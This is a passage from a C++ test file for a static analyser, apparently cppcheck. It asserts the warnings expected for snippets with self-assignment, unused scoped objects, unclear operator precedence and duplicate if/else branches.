}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. 